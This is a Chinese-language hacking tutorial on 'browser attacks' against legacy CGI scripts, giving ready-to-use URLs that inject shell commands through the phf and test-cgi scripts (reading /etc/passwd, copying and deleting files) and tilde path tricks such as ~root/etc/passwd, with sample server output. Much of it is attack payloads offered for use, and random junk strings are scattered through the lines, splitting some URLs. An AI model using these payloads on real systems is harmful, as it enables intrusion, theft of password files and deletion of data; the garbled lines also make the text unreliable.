瀏覽器攻擊

在本章我將講述一些利用瀏覽器來進(jìn)行攻擊的方法
1。大家都知道了phf攻擊了，phf是cgi script,很多站點都有這個大漏洞啦，使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個站點的passwd.但還有些更好的執(zhí)行方法呦如：
, r2 _5 s% W7 H0 x. {$ C5 Chttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
0 g: g! d8 ^) o2 W6 g! ^
- w2 K" z1 `& ?! P: Sme=&Qoffice_phone=
4 m* @# Z" W9 f) i* jhttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
, z  P$ i" D( V/ C& ~4 @/ m7 \http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
% U% z7 z' U$ R0 w# C, hhttp://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
  V; T4 u' \2 v% y8 U5 q( q
=haqr&Qemail=&Qnickname=&Qoffice_phone=
6 c& O. Y! ]; Z- F上面執(zhí)行的命令是
* {, \' l. Z$ `id
4 S& q0 [4 W8 \2 z3 k) A" ols -la ~someuser
/ @) l6 J* B# `$ ]" {6 Wcp /etc/passwd ~someuser/passwd
rm ~someuser/passwd

2。有關(guān)test攻擊
  a4 |6 p* F! m7 e" nhttp://thegnome.com/cgi-bin/test-cgi?\whatever
服務(wù)器會應(yīng)答，本服務(wù)器的一些情況如：
, E# t6 d) [3 |2 ECGI/1.0 test script report:
" c* W$ {1 \5 |. t" `1 d* x
argc is 0. argv is .
0 s& l6 C7 w7 s  f* C& m
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
+ ^9 k3 |6 b5 Q% ~* G% O/ cGATEWAY_INTERFACE = CGI/1.1
4 {! \4 V# K: t: S7 y6 L. a9 w5 P% {SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
& x* o4 V' P3 v8 K7 dPATH_INFO =
PATH_TRANSLATED =
! l) q2 [& q, c; y1 x+ ^, [SCRIPT_NAME = /cgi-bin/test-cgi
* j5 M0 |5 v9 Q1 O* vQUERY_STRING = whatever
! r# u8 }# L% g( Y$ R) G* O9 N  HREMOTE_HOST = fifth.column.gov
2 R2 b! y& {" Q/ V! A2 OREMOTE_ADDR = 200.200.200.200
  y* l; _8 V) x2 W# l; PREMOTE_USER =
+ W" o+ d* D7 l) J- EAUTH_TYPE =
4 }0 c( R+ w& L6 tCONTENT_TYPE =
9 ?0 B0 y( Q# T& y* ^8 N4 LCONTENT_LENGTH =

5 L6 y" g( g$ x" K+ c4 k好吧，讓我們來點趕興趣的
) h* l* b9 M* p: whttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

3。~的應(yīng)用
9 t7 X; y  n3 @3 P~主要是用在很多的個人主頁上的快捷目錄的方法，如果我們使用這樣的~
+ B# g/ F( R4 h. Zhttp://thegnome.com/~root
1 ?. z& U- ?8 @- p( K0 thttp://thegnome.com/~root/etc/passwd
不是在任何平臺上都通過呦，在BSD Apache上曾經(jīng)成功過,當(dāng)然還可以試試~bin ,~etc,~uucp.....
看到這個站點了嗎，本站所在的這個站點就是用這種形式的，如果我們打入 本站所在的web地址/~bin
( V' `! ^9 u% D0 G2 [- m出現(xiàn)了什么，你看到了嗎？然后...............注意請不要破壞